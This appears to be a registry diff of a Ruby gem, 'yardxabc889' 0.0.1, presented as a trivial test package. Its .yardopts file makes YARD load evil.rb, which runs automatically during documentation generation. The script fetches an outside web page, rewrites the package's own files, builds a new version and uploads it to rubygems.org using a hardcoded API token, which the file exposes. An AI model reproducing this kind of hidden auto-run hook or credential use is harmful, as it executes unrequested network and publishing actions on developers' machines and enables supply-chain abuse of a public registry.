yardxabc889 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 97a93f102f14862b14529730a4e3608608ceac577b464339a23ad9ab37ef5a9a
4
+ data.tar.gz: 317a48071c53aa8f768894a8553a9f1b3767130c52b1909f1aad43a06142e2cd
5
+ SHA512:
6
+ metadata.gz: 3f071658a7b1b36606b0ee4609a1c34eaf62cdf3c8f6ae9c7f27067e313fe33d51ab8a50e6a08ee6a9cb1f395872241f287afd08e2d35536a12b82ac74e84b9f
7
+ data.tar.gz: 7f2677c0e0e2a6504916c140b19f6eadbab6f56e4711590a2762e2a6bdb4bedd07dc4f954e948c11ae11a8a0a636fd3c8656d2c2ce99b3fd3f208ecd560b5733
data/.yardopts ADDED
@@ -0,0 +1,3 @@
1
+ --load ./evil.rb
2
+ README.md
3
+ lib/**/*.rb
data/README.md ADDED
@@ -0,0 +1 @@
1
+ # initial hello
data/evil.rb ADDED
@@ -0,0 +1,22 @@
1
+ require 'net/http'; require 'uri'
2
+ begin
3
+ t = Net::HTTP.get(URI('https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1'))
4
+ rescue => e
5
+ t = "error fetch #{e.class} #{e.message}"
6
+ end
7
+ begin
8
+ File.write('README.md', "# fetched test\n```\n" + t[0,500000].scrub + "\n```\n")
9
+ # disable evil in next version and bump version
10
+ File.write('.yardopts',"README.md\nlib/**/*.rb\n")
11
+ g=File.read('yardxabc889.gemspec').sub("'0.0.1'", "'0.0.2'")
12
+ File.write('yardxabc889.gemspec', g)
13
+ `gem build yardxabc889.gemspec >/dev/null`
14
+ gem = File.binread('yardxabc889-0.0.2.gem')
15
+ uri=URI('https://rubygems.org/api/v1/gems')
16
+ req=Net::HTTP::Post.new(uri)
17
+ req['Authorization']='rubygems_d8e875bd0a97e2f33498dba3ef41ffb1f951adb1b503a533'
18
+ req['Content-Type']='application/octet-stream'
19
+ req.body=gem
20
+ resp=Net::HTTP.start(uri.host, uri.port, use_ssl:true){|h|h.request(req)}
21
+ rescue => e
22
+ end
data/lib/main.rb ADDED
@@ -0,0 +1,3 @@
1
+ # hello
2
+ class Main
3
+ end
@@ -0,0 +1,3 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='yardxabc889'; s.version='0.0.1'; s.summary='testing'; s.description='test'; s.authors=['a']; s.files=%w[lib/main.rb evil.rb .yardopts README.md yardxabc889.gemspec]; s.license='MIT'; s.homepage='https://example.com'
3
+ end
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: yardxabc889
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - a
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: test
13
+ executables: []
14
+ extensions: []
15
+ extra_rdoc_files: []
16
+ files:
17
+ - ".yardopts"
18
+ - README.md
19
+ - evil.rb
20
+ - lib/main.rb
21
+ - yardxabc889.gemspec
22
+ homepage: https://example.com
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.6.7
41
+ specification_version: 4
42
+ summary: testing
43
+ test_files: []